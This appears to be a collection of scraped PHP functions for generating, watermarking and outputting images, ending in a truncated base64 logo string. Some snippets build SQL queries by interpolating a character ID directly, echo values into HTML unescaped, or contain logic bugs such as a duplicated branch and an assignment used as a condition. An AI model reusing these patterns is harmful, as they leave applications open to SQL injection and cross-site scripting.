"function mk_cThumb($cID, $str=''){\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\t$cName = $cOverview = $cWaiver = $cTeam = '';#initialize\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$cOverview = $rowTT['Overview'];\n\t\t\t$cWaiver = $rowTT['Waiver'];\n\t\t\t$cTeam = $rowTT['Team'];\n\t\t\t$cName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = './../uploads/_assigned/' . $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = VIRTUAL_PATH . 'uploads/_assigned/' . $cID . '-1t.jpg';\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = VIRTUAL_PATH . '_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n/*\n\n\nhttp://localhost/WrDKv4/_img/_static/static---005.gif\n\n\n\n*/\n\n\n\n\n\n\t#construct the polyThumb\n\t$str .= '<div class=\"text=center\">\n\t\t\t<a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\t\tdata-original-title=\"' . $cName . ' >> ' . $cOverview . '\"\n\t\t\t\t>\n\t\t\t\t<img src=\"' . $filename . '\" alt=\"' . $cName . '\" style=\"width:50px\">\n\t\t\t</a>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"public function ImageCreateForOnline($name)\n {\n list($width,$height)=getimagesize(\"images/imagesevice/createImg.png\");\n $authimg = imagecreate($width,$height);\n $bg_color = ImageColorAllocate($authimg,68,68,68);\n\n $bg = ImageCreateFromPng(\"images/imagesevice/createImg.png\");\n imagecopyresized($authimg,$bg,0,0,0,0,$width,$height,$width,$height); \n\n $fontfile =\"images/imagesevice/simhei.ttf\";\n putenv('GDFONTPATH=' . realpath($fontfile));\n\n $font_color = ImageColorAllocate($authimg,0,0,0); \n $box = imagettfbbox(25, 0, $fontfile, $name);\n $fontwidth = $box[4]-$box[0];\n ImageTTFText($authimg, 25, 0, ceil(($width-$fontwidth)/2), 830, $font_color, $fontfile, $name);\n\n $font_color = ImageColorAllocate($authimg,68,68,68);\n $dateTime = date(\"Y年m月d日\");\n $boxtime = imagettfbbox(15, 0, $fontfile, $dateTime);\n $datewidth = $boxtime[4]-$boxtime[0];\n ImageTTFText($authimg, 15, 0, ceil(($width-$datewidth)/2), 1175, $font_color, $fontfile, $dateTime);\n //imagestring($authimg, 5, 430, 430, date(\"Y年m月d日\"), $font_color);\n //imagestring($authimg, 5, 230, 730, $name, $font_color);\n $fs = new Filesystem();\n if(!$fs->exists($this->_filedir . '/Online'))\n $fs->mkdir($this->_filedir . '/Online', 0700);\n $fileName = '/Online/' . time() . rand(100,999) . '.png';\n $hechengImg = $this->_filedir . $fileName;\n ImagePNG($authimg,$hechengImg);\n return $fileName;\n }",
"public function createImage1(){\n $this->createHexagon(150,75, 50, 200, 150, 325, 275, 325, 350,200, 275, 75);\n $this->createCircle(200, 200, 200, 200, 0, 360);\n $this->createLine(200, 125, 125, 200);\n $this->createLine(200, 125, 275, 200);\n $this->createLine(125, 200, 200, 275);\n $this->createLine(275, 200, 200, 275);\n $this->generateImage();\n }",
"public function picture(){\n }",
"function createImage($string){\n\t\t//pr($string);die('okszzz');\n\t\t$data\t= base64_decode($string);\n\t\t//echo ($data);die('oksss');\n\t\t\n\t\t$db_img = imagecreatefromstring($data); \n\t\t//.pr($db_img);die;\n\t\t$type = \"jpg\";\n\t\t$name\t= '';\n\t\tif ($db_img !== false) {\n\t\t\tswitch ($type) {\n\t\t\tcase \"jpg\":\n\t\t\t$rand \t= rand(0000, 9999);\n\t\t\t$name\t= $rand.\"user.jpg\";\n\t\t\t\n\t\t\timagejpeg($db_img,$name, '100');\n\t\t\t$img = imagejpeg($db_img,$name, '100');\n\t\t\tbreak;\n\t\t\t\n\t\t}\n\t\t\n\n\t\t}\n\t\treturn $name;\n\t\n\t\n\t}",
"function getImage();",
"function create_image(){\r\n\t$wmark = imagecreatefrompng('img/stamp.png');\r\n\t//Load jpg image\r\n\t$image = imagecreatefromjpeg('img/image'.rand(1,3).'.jpg');\r\n\t\r\n\t//Get image width/height\r\n\t$width = imagesx($image);\r\n\t$height = imagesy($image);\r\n\t\r\n\t// Set the margins for the stamp and get the height/width of the stamp image\r\n\t$marge_right = 10;\r\n\t$marge_bottom = 10;\r\n\t$sx = imagesx($wmark);\r\n\t$sy = imagesy($wmark);\r\n\t\r\n\t// Copy the stamp image onto our photo using the margin offsets and the photo width to calculate positioning of the stamp. \r\n\timagecopy($image, $wmark, $width-$sx-$marge_right, $height-$sy-$marge_bottom,0,0,$sx,$sy);\r\n\t\r\n\t// Prepare the final image and save to path. If you only pass $image it will output to the browser instead of a file.\r\n\timagepng($image,\"generatedImage.png\");\r\n\t\r\n\t// Output and free memory\r\n\timagedestroy($image);\r\n}",
"public function createImage3(){\n $this->triangleCreate(240, 100, 290, 50, 340, 100);\n $this->triangleCreate(40, 300, 90, 250, 140, 300);\n $this->triangleCreate(440, 300, 490, 250, 540, 300);\n $this->createLine(265, 100, 105, 265);\n $this->createLine(315, 100, 475, 265);\n $this->createLine(125, 285, 455, 285);\n $this->generateImage();\n }",
"function createImg()\n {\n // imagem de origem\n if ($this->ext == \"png\")\n $img_origem= imagecreatefrompng($this->origem);\n\t\telseif ($this->ext == \"gif\")\n $img_origem= imagecreatefromgif($this->origem);\n elseif ($this->ext == \"jpg\" || $this->ext == \"jpeg\")\n $img_origem= imagecreatefromjpeg($this->origem);\n\t\t\telseif ($this->ext == \"jpg\" || $this->ext == \"jpeg\")\n $img_origem= imagecreatefromwbmp($this->origem);\n return $img_origem;\n }",
"function printFull()\n {\n echo'<div class=\"box\" style=\"background-image: url(\\'';\n if($this->img!=\"\")echo $this->img;\n else echo(\"https://$_SERVER[HTTP_HOST]/media/favicons/placeholder.jpg\");\n echo'\\');\">\n <div class=\"box-overlay\">\n <div>\n <h6>'.$this->name.'</h6>';\n if($this->position!=\"\")echo'<h5 class=\"w\" style=\"margin-bottom:3px;margin-top: 3px;\">'.$this->position.'</h5>';\n if($this->email!=\"\")echo'<span><a href=\"mailto:'.$this->email.'@pacificmun.com\">'.$this->email.'@pacificmun.com</a></span>';\n echo'</div><p>'.$this->bio.'</p>\n </div></div>';\n }",
"function print_image($path){\n $image = new Imagick();\n $image->readImage(_LOCAL_.$path);\n $height = $image->getImageHeight();\n $width = $image->getImageWidth();\n\n $canvas = new Imagick();\n $canvas->newImage($width,$height,new ImagickPixel('white'));\n $canvas->setImageFormat('png');\n $canvas->compositeImage($image,imagick::COMPOSITE_OVER, 0, 0);\n\n header('Content-type: image/png');\n echo $canvas;\n $image->destroy();\n $canvas->destroy();\n}",
"public function generateBlankImage($config){ \n\t\t$image = imagecreatetruecolor($config['img_width'], $config['img_height']);\n\t\timagesavealpha($image, true);\n\t\t$transparent = imagecolorallocatealpha($image, 0, 0, 0, 127);\n\t\timagefill($image, 0, 0, $transparent);\n\t\t// cache the output\n\t\tob_start();\n\t\timagepng($image);\n\t\t$img = ob_get_contents();\n\t\tob_end_clean();\n\t\t// return the string\n\t\treturn base64_encode($img);\n\t}",
"function output()\r\n\t{\r\n\t\theader(\"Cache-Control: no-store, no-cache, must-revalidate\"); \r\n\t\theader(\"Expires: \" . date(\"r\"));\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\tswitch($this->image_type)\r\n\t\t{\r\n\t\t\tcase SI_IMAGE_JPG:\r\n\t\t\t\theader(\"Content-Type: image/jpeg\");\r\n\t\t\t\timagejpeg($this->im, null, 90);\r\n\t\t\t\tbreak;\r\n\r\n\t\t\tcase SI_IMAGE_GIF:\r\n\t\t\t\theader(\"Content-Type: image/gif\");\r\n\t\t\t\timagegif($this->im);\r\n\t\t\t\tbreak;\r\n\r\n\t\t\tdefault:\r\n\t\t\t\theader(\"Content-Type: image/gif\");\r\n\t\t\t\timagepng($this->im);\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\timagedestroy($this->im);\r\n\t}",
"public function __destruct() {\r\n\t\t//header(\"Content-type: image/png\");\r\n\r\n\t\t/* show our work ... */\r\n\t\t//imagepng( $this->cutted_image );\r\n\r\n\t\t/* we have to cleaned up the mass before left ... */\r\n\t\timagedestroy( $this->original_image );\r\n\t\timagedestroy( $this->cutted_image );\r\n\r\n\t\t/* so ... how do you think about this ...? */\r\n\t}",
"public function __toString() {\n\t\tif (!$this->isBound()) {\n\t\t\treturn 'DImage '.$this->id.' [not bound]';\n\t\t}\n\t\t$r = 'DImage '.$this->id.' ['.$this->info;\n\t\tif ($this->getFrameCount() > 1) {\n\t\t\t$r .= ' frames:'.$this->getFrameCount();\n\t\t}\n\t\t$r .= ' #'.$this->getResourceID();\n\t\t$r .= ']';\n\t\treturn $r;\n\t}",
"function create($filename=\"\")\n{\nif ($filename) {\n $this->src_image_name = trim($filename);\n}\n$dirname=explode(\"/\",$this->src_image_name);\nif(!file_exists(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\")){\n\t@mkdir(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\", 0755);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$this->src_image_name = @iconv(\"utf-8\",\"GBK\",$this->src_image_name);\n\t$this->gz_image_name = @iconv(\"utf-8\",\"GBK\",$this->gz_image_name);\n}\n$src_image_type = $this->get_type($this->src_image_name);\n$src_image = $this->createImage($src_image_type,$this->src_image_name);\nif (!$src_image) return;\n$src_image_w=ImageSX($src_image);\n$src_image_h=ImageSY($src_image);\n\n\nif ($this->gz_image_name){\n $this->gz_image_name = strtolower(trim($this->gz_image_name));\n $gz_image_type = $this->get_type($this->gz_image_name);\n $gz_image = $this->createImage($gz_image_type,$this->gz_image_name);\n $gz_image_w=ImageSX($gz_image);\n $gz_image_h=ImageSY($gz_image);\n $temp_gz_image = $this->getPos($src_image_w,$src_image_h,$this->gz_image_pos,$gz_image);\n $gz_image_x = $temp_gz_image[\"dest_x\"];\n $gz_image_y = $temp_gz_image[\"dest_y\"];\n\t if($this->get_type($this->gz_image_name)=='png'){imagecopy($src_image,$gz_image,$gz_image_x,$gz_image_y,0,0,$gz_image_w,$gz_image_h);}\n\t else{imagecopymerge($src_image,$gz_image,$gz_image_x,$gz_image_y,0,0,$gz_image_w,$gz_image_h,$this->gz_image_transition);}\n}\nif ($this->gz_text){\n $temp_gz_text = $this->getPos($src_image_w,$src_image_h,$this->gz_text_pos);\n $gz_text_x = $temp_gz_text[\"dest_x\"];\n $gz_text_y = $temp_gz_text[\"dest_y\"];\n if(preg_match(\"/([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])/i\", $this->gz_text_color, $color))\n {\n $red = hexdec($color[1]);\n $green = hexdec($color[2]);\n $blue = hexdec($color[3]);\n $gz_text_color = imagecolorallocate($src_image, $red,$green,$blue);\n }else{\n $gz_text_color = imagecolorallocate($src_image, 255,255,255);\n }\n imagettftext($src_image, $this->gz_text_size, $this->gz_text_angle, $gz_text_x, $gz_text_y, $gz_text_color,$this->gz_text_font, $this->gz_text);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$save_files=explode('/',$this->save_file);\n\t$save_files[count($save_files)-1]=@iconv(\"utf-8\",\"GBK\",$save_files[count($save_files)-1]);\n\t$this->save_file=implode('/',$save_files);\n}\nif ($this->save_file)\n{\n switch ($this->get_type($this->save_file)){\n case 'gif':$src_img=ImagePNG($src_image, $this->save_file); break;\n case 'jpeg':$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n case 'png':$src_img=ImagePNG($src_image, $this->save_file); break;\n default:$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n }\n}\nelse\n{\nif ($src_image_type = \"jpg\") $src_image_type=\"jpeg\";\n header(\"Content-type: image/{$src_image_type}\");\n switch ($src_image_type){\n case 'gif':$src_img=ImagePNG($src_image); break;\n case 'jpg':$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n case 'png':$src_img=ImagePNG($src_image);break;\n default:$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n }\n}\nimagedestroy($src_image);\n}",
"private function getImg()\n\t{\n\t\t$buffer = ' ';\n\t\t\n\t\tif(!$this->aImg['sFilename'])\n\t\t\treturn $buffer;\n\t\t\n\t\t$buffer = '<img src=\"../../thumbs/'.$this->aImg['sFilename'].'\" />';\t\t\n\t\t\n\t\treturn $buffer;\n\t}",
"protected function generateGraphic() {}",
"protected function imageName() {}",
"public function assemble() {\n $image_check = $this->_checkImage();\n // Image check is bad so we pass control back to the old OsC image wrapper\n if ( 'abort' == $image_check ) {\n return false;\n }\n // If we have to only we generate a thumb .. this is very resource intensive\n if ( 'no_thumb_required' !== $image_check ) {\n $this->_generateThumbnail();\n }\n $this->_build();\n return (string)$this; \n }",
"private function get_type_img()\n {\n $this->multi_byte_string_to_array();\n foreach($this->strings as $char)\n {\n $this->init_img();\n $this->create_img($char);\n }\n }",
"private function save()\n {\n $this->collage->setImageFormat('jpeg');\n return $this->collage->writeImage($this->name);\n }",
"public function createImage()\n {\n // set up base image, and colors to be used in the image (black not used for this page, but left for reference later)\n $im = imagecreatetruecolor($this->_options['width'] * self::OVERSAMPLE_FACTOR, $this->_options['height'] * self::OVERSAMPLE_FACTOR);\n \n $brandColor = new Ncstate_Brand_Color();\n \n // Get the background color on brand\n $backgroundColorRgb = $brandColor->getColor($this->_options['backgroundColor'], true);\n if (is_null($backgroundColorRgb)) {\n require_once 'Ncstate/Brand/Exception.php';\n throw new Ncstate_Brand_Exception('Proper branding color not found for backgroundColor');\n }\n $backgroundColor = imagecolorallocate($im, $backgroundColorRgb['red'], $backgroundColorRgb['green'], $backgroundColorRgb['blue']);\n \n \n // get the font color on brand\n $fontColorRgb = $brandColor->getColor($this->_options['fontColor'], true);\n if (is_null($fontColorRgb)) {\n require_once 'Ncstate/Brand/Exception.php';\n throw new Ncstate_Brand_Exception('Propoer branding color not found for fontColor');\n }\n $fontColor = imagecolorallocate($im, $fontColorRgb['red'], $fontColorRgb['green'], $fontColorRgb['blue']);\n \n \n // Set the background to be red (the base color of the header region where this will be placed)\n imagefilledrectangle($im, 0, 0, $this->_options['width'] * self::OVERSAMPLE_FACTOR, $this->_options['height'] * self::OVERSAMPLE_FACTOR, $backgroundColor);\n \n // Path to our font files\n $normalFont = $this->_options['pathToFonts'] . '/' . $this->_options['normalFont'];\n $boldFont = $this->_options['pathToFonts'] . '/' . $this->_options['boldFont'];\n\n // Calculate a line height for multi-line images\n $oneLine = imagettfbbox($this->_options['fontSize'] * self::OVERSAMPLE_FACTOR, 0, $normalFont, 'A');\n $oneLineHeight = $oneLine[1] - $oneLine[7];\n \n $posX = $this->_options['leftTextOffset'] * self::OVERSAMPLE_FACTOR;\n $posY = ($this->_options['height'] * self::OVERSAMPLE_FACTOR) - ($this->_options['baselineTextOffset'] * self::OVERSAMPLE_FACTOR);\n \n $lines = array();\n \n // Parse the string by newline chars\n $parsed = explode(\"\\n\", $this->getText());\n foreach ($parsed as $p) {\n if ($p == '') {\n continue;\n }\n \n // split up bold parts versus non-bold parts\n $parts = preg_split('/(\\*[^*]*\\*)|(\\n)/', $p, -1, PREG_SPLIT_DELIM_CAPTURE); \n\n $lines[] = $parts;\n }\n \n // Reverse the lines so that we write them the correct offset from the baseline\n $lines = array_reverse($lines);\n \n foreach ($lines as $line) { \n foreach ($line as $text) {\n $count = 0;\n $font = $normalFont;\n \n // Only make the font bold if there are two bold markers on the particle of text\n $writable = str_replace('*', '', $text, $count);\n if ($count == 2) {\n $font = $boldFont;\n }\n \n $boundingBox = imagettftext($im, $this->_options['fontSize'] * self::OVERSAMPLE_FACTOR, 0, $posX, $posY, $fontColor, $font, $writable);\n \n $posX = $boundingBox[2];\n }\n \n $posX = $this->_options['leftTextOffset'] * self::OVERSAMPLE_FACTOR;\n $posY -= ($oneLineHeight + ($this->_options['lineSpacing'] * self::OVERSAMPLE_FACTOR)); \n }\n \n // Sample down the image to the original requested size\n $final = imageCreateTrueColor($this->_options['width'], $this->_options['height']);\n\n imageCopyResampled($final, $im, 0, 0, 0, 0, $this->_options['width'], $this->_options['height'], $this->_options['width'] * self::OVERSAMPLE_FACTOR, $this->_options['height'] * self::OVERSAMPLE_FACTOR ); \n \n // Option to make the image transparent\n if ((bool)$this->_options['transparent']) {\n imagecolortransparent($final, $backgroundColor);\n } \n \n return $this->_store($final);\n }",
"private function generateThumbnailImagick(){\n\t}",
"function mk_PolyThumb($cID, $str=''){\n\t#get character info for tooltip from ma_Characters\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\n\t$codeName = $overview = $waiver = $team = '';#initialize\n\n\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$overview = $rowTT['Overview'];\n\t\t\t$waiver = $rowTT['Waiver'];\n\t\t\t$team = $rowTT['Team'];\n\t\t\t$codeName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = '../uploads/'. $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = $filename;\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = '../_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n\n\t#construct the polyThumb\n\t$str .= '\n\t\t<div><a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\tdata-original-title=\"' . $codeName . ' >> ' . $overview .'\"\n\t\t\t>\n\n\t\t\t\t<!--- for polygons -->\n\t\t\t\t<svg class=\"clip-svg\">\n\t\t\t\t\t<defs>\n\t\t\t\t\t\t<clipPath id=\"polygon-clip-hexagon\" clipPathUnits=\"objectBoundingBox\">\n\t\t\t\t\t\t\t<polygon points=\"0.5 0, 1 0.25, 1 0.75, 0.5 1, 0 0.75, 0 0.25\"></polygon>\n\t\t\t\t\t\t</clipPath>\n\t\t\t\t\t</defs>\n\t\t\t\t</svg>\n\n\t\t\t\t<div class=\"polygon-each-img-wrap\">\n\t\t\t\t\t<img src=\"' . $filename . '\" alt=\"demo-clip-heptagon\" class=\"polygon-clip-hexagon\">\n\t\t\t\t</div>\n\t\t</a></div>\n\n\t\t<div>\n\t\t\t<p class=\"text-center\"><small><strong>' . $codeName . '</strong></small></p>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"function image_hwstring($width, $height)\n {\n }",
"public function makeImage()\n {\n $x_width = 200;\n $y_width = 125;\n\n $this->image = imagecreatetruecolor(200, 125);\n\n $this->white = imagecolorallocate($this->image, 255, 255, 255);\n $this->black = imagecolorallocate($this->image, 0, 0, 0);\n $this->red = imagecolorallocate($this->image, 255, 0, 0);\n $this->green = imagecolorallocate($this->image, 0, 255, 0);\n $this->grey = imagecolorallocate($this->image, 128, 128, 128);\n\n $this->red = imagecolorallocate($this->image, 231, 0, 0);\n\n $this->yellow = imagecolorallocate($this->image, 255, 239, 0);\n $this->green = imagecolorallocate($this->image, 0, 129, 31);\n\n $this->color_palette = [$this->red, $this->yellow, $this->green];\n\n imagefilledrectangle($this->image, 0, 0, 200, 125, $this->white);\n\n $border = 25;\n\n $lines = [\"e\", \"g\", \"b\", \"d\", \"f\"];\n $i = 0;\n foreach ($lines as $key => $line) {\n $x1 = 0;\n $x2 = $x_width;\n $y1 = $i * 15 + 25;\n $y2 = $y1;\n imageline(\n $this->image,\n $x1 + $border,\n $y1,\n $x2 - $border,\n $y2,\n $this->black\n );\n $i = $i + 1;\n }\n\n imageline(\n $this->image,\n 0 + $border,\n 25,\n 0 + $border,\n 4 * 15 + 25,\n $this->black\n );\n imageline(\n $this->image,\n 200 - $border,\n 25,\n 200 - $border,\n 4 * 15 + 25,\n $this->black\n );\n\n $textcolor = $this->black;\n\n $font = $this->default_font;\n\n $size = 10;\n $angle = 0;\n\n if (!isset($this->bar_count) or $this->bar_count == \"X\") {\n $this->bar_count = 0;\n }\n $count_notation = $this->bar_count + 1;\n\n if (file_exists($font)) {\n if (\n $count_notation != 1 or\n $count_notation == $this->max_bar_count\n ) {\n imagettftext(\n $this->image,\n $size,\n $angle,\n 0 + 10,\n 110,\n $this->black,\n $font,\n $count_notation\n );\n }\n\n if (\n $count_notation + 1 != 1 or\n $count_notation + 1 == $this->max_bar_count + 1\n ) {\n imagettftext(\n $this->image,\n $size,\n $angle,\n 200 - 25,\n 110,\n $this->black,\n $font,\n $count_notation + 1\n );\n }\n }\n }",
"public function output()\r\n {\r\n // look for a cached version and use it if it exists\r\n $this->_checkCache();\r\n \r\n // build the path to the font file\r\n $font = $this->_config['paths']['font'] . \"/\" . $this->_font;\r\n \r\n // find the dimensions of the text being created\r\n list($height, $width, $offset) = $this->_calculateDimensions($font);\r\n \r\n // create an image with the dimensions of the text to be generated\r\n $im = imagecreatetruecolor($width, $height);\r\n \r\n // set colors\r\n $txt = imagecolorallocate(\r\n $im, hexdec(\r\n substr($this->_color,0,2)), \r\n hexdec(substr($this->_color,2,2)), \r\n hexdec(substr($this->_color,4,2)\r\n )\r\n );\r\n $bg = imagecolorallocate(\r\n $im, hexdec(\r\n substr($this->_backColor,0,2)), \r\n hexdec(substr($this->_backColor,2,2)), \r\n hexdec(substr($this->_backColor,4,2)\r\n )\r\n );\r\n \r\n // make background transparent if requested\r\n if ($this->_transparent) {\r\n imagecolortransparent($im, $bg);\r\n }\r\n \r\n // fill the image with the background color\r\n imagefilledrectangle($im, 0, 0, $width, $height, $bg);\r\n \r\n // write the text to the image\r\n imagettftext($im, $this->_size, 0, 0, $offset, $txt, $font, $this->_text);\r\n \r\n // generate image based on desired output type\r\n ob_start();\r\n \r\n switch ($this->_config['output']) {\r\n case 'png':\r\n header('Content-type: image/png');\r\n imagepng($im);\r\n break;\r\n case 'gif':\r\n header('Content-type: image/gif');\r\n imagegif($im);\r\n break;\r\n case 'jpg':\r\n header('Content-type: image/jpg');\r\n imagejpeg($im);\r\n break;\r\n }\r\n \r\n $buffer = ob_get_clean();\r\n imagedestroy($im);\r\n \r\n // save to the cache\r\n $this->_saveCache($buffer);\r\n \r\n // display the image\r\n echo $buffer;\r\n }",
"public function assemble() {\n $image_check = $this->_checkImage();\n // Image check is bad so we pass control back to the old OsC image wrapper\n if ( 'abort' == $image_check ) {\n return false;\n }\n // If we have to only we generate a thumb .. this is very resource intensive\n if ( 'no_thumb_required' !== $image_check ) {\n $this->_generateThumbnail();\n }\n return $this->_imageBody();\n }",
"function get_court_pic($img)\n{\n\tdefine('UPLOAD_DIR', 'CourtPics/');\n\t$img \t= str_replace('data:image/png;base64,', '', $img);\n\t$img \t= str_replace(' ', '+', $img);\n\t$data \t= base64_decode($img);\n $file \t= UPLOAD_DIR . uniqid() . '.jpg';\n $success = file_put_contents($file, $data);\n \n\treturn $success ? $file : 'some problem occured';\n}",
"public function GetImage($type=NULL){\r\n\t\t$GTemp=$this->GTemp;\r\n\t\tif ($type!=NULL){\r\n\t\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$type.\".jpg\");\r\n\t\t\t$width=$this->width;\r\n\t\t\t$height=$this->height;\r\n\t\t\t$hndl_dest=imagecreatetruecolor($width,$height);\r\n\t\t\timagecopy($hndl_dest,$hndl,0,0,$this->x1,$this->y1,$this->width,$this->height);\r\n\t\t\treturn $hndl_dest;\r\n\t\t}\r\n\t\t$types=$this->WidgetClass()->Types();\r\n\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$types[0].\".jpg\");\r\n\t\t$width=(sizeof($types))*($this->width);\r\n\t\t$height=$this->height;\r\n\t\t$hndl_dest=imagecreatetruecolor($width,$height);\r\n\t\timagecopy($hndl_dest,$hndl,0,0,$this->x1,$this->y1,$this->width,$this->height);\r\n\t\t$counter=0;\r\n\t\tif ($types!=''){\r\n\t\t\tforeach ($types as $index => $val){\r\n\t\t\t\tif ($index==0) continue;\r\n\t\t\t\t$counter++;\r\n\t\t\t\timagedestroy($hndl);\r\n\t\t\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$val.\".jpg\");\r\n\t\t\t\timagecopymerge($hndl_dest,$hndl,($counter)*$this->width,0,\r\n\t\t\t\t\t$this->x1,$this->y1,$this->width,$this->height,100);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $hndl_dest;\r\n\t}",
"private function get_title_img()\n {\n $this->char_count = count($this->strings);\n $this->init_img();\n $font_size = L_FONT_SIZE / $this->char_count;\n $img_y = (L_IMG_HEIGHT + $font_size) / 2;\n $this->create_img($this->string,$font_size,$img_y);\n }",
"function imageObj($OA) {\n \n // check isset\n if(!isset($OA['alt'])) $OA['alt'] = '';\n if(!isset($OA['file'])) $OA['file'] = '';\n if(!isset($OA['title'])) $OA['title'] = '';\n \n // wrap before\n if (isset($OA['wrapB'])) echo $OA['wrapB'].\"\\n\";\n \n // link begin\n if (isset($OA['link'])) {\n echo '<a href=\"'. $OA['link'] .'\"';\n if(isset($OA['linkT'])) echo ' target=\"'. $OA['linkT'] .'\"';\n echo '>';\n }\n \n // check for absolute path\n if (substr($OA['file'],0,4) == 'http') $pT = '';\n else $pT = THEMEPATH;\n \n // check width and height and echo tag\n if (isset($OA['width'])) {\n echo '<img src=\"'. $pT . $OA['file'] .'\"';\n if ($OA['width'] != 'auto') echo ' width=\"'. $OA['width'] .'\"';\n if ($OA['height'] != 'auto') echo ' height=\"'. $OA['height'] .'\"';\n echo ' alt=\"'. $OA['alt'] .'\"';\n if ($OA['title']) echo ' title=\"'. $OA['title'] .'\"';\n echo '>';\n } else {\n echo '<img src=\"'. $pT . $OA['file'] .'\" alt=\"'. $OA['alt'] .'\"';\n if ($OA['title']) echo ' title=\"'. $OA['title'] .'\"';\n echo '>';\n }\n \n // if 'link' exists\n if (isset($OA['link'])) echo '</a>';\n \n // 'wrap' after\n if (isset($OA['wrapA'])) echo \"\\n\".$OA['wrapA'];\n echo \"\\n\\n\";\n}",
"private function _xyz()\n {\n $logo = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGQAAAAcCAYAAACXkxr4AAAACXBIWXMAA'\n . 'AsTAAALEwEAmpwYAAAKC0lEQVRoge2ZeVDU5xnHPz/AXdmDGwUEXDAsMxaRywOJEkINxmGp1cYDZ+o0'\n . 'bTTtZDqTQDrpTOu09srkciYzMSpNtO2ITZxpMrD5IyIB2yikchjU6C5JRMBFZFniHuAu6779Y7MbEZZ'\n . 'L2z9Svv/sb/d9rt/7fZ7nPRbmMIc5zGEOc5gdpAdl6Pr1AdFjsnChy4piPkjz5azJTCVGCbbbHpShcs'\n . 'KU8gfm79uK+56g5nMGceSdMxh6bSiUoQTHqlAp5KgUMuShC0ldqGTN4hAUYSrSNbHI5bI5UibBrCenw'\n . '3BdvFH1IYZeG/FLE4mOTiIsIpyQ+aFj5BRqFSqVgoj+VjKXashMXzTO5969e4Xved++fdJEYxP9vm/f'\n . 'Punez6lsTsfXTHRm8h4TxXkvQgINTIYDR06JF176gNScLH6wOZOISDkAXw05sduHx8iqVApSUuWYrsv'\n . 'ovXodt9stQkJCxgXkC/LugAM9TxeB5CezORud2cgFwowIsTqcYv/bjbQPjlBe+RQajcDeNYCltx9PsJ'\n . 'poZRiolNzsuwl4q8OHpIxkWt+rY+OGlRMGGagS7geBJmUyX7OdyKlsT6c6YAaEWB1OUfH7fxCfV8Cuj'\n . 'YlcqmvlxKFmFiyIILNwBXnp0VzpsZDiNvN5pIzmywNAHADh4TJkIfO5efOrgPYfJBFT2ZxNhczU53+9'\n . 'Qva/3ciSohLWLglC/7u3ACjZsJLioizmzQvBPjKKLTSOUNs1tq9L4otLRgZugEL9kN+G0+maUXC+rPI'\n . '9TzQ2WebNpuomW7OmY+t+K31aSlUnzonB8CV8RznAqRN1pKTG85MnS1AqlUiSJAkhxLGGLhZFSoS6na'\n . 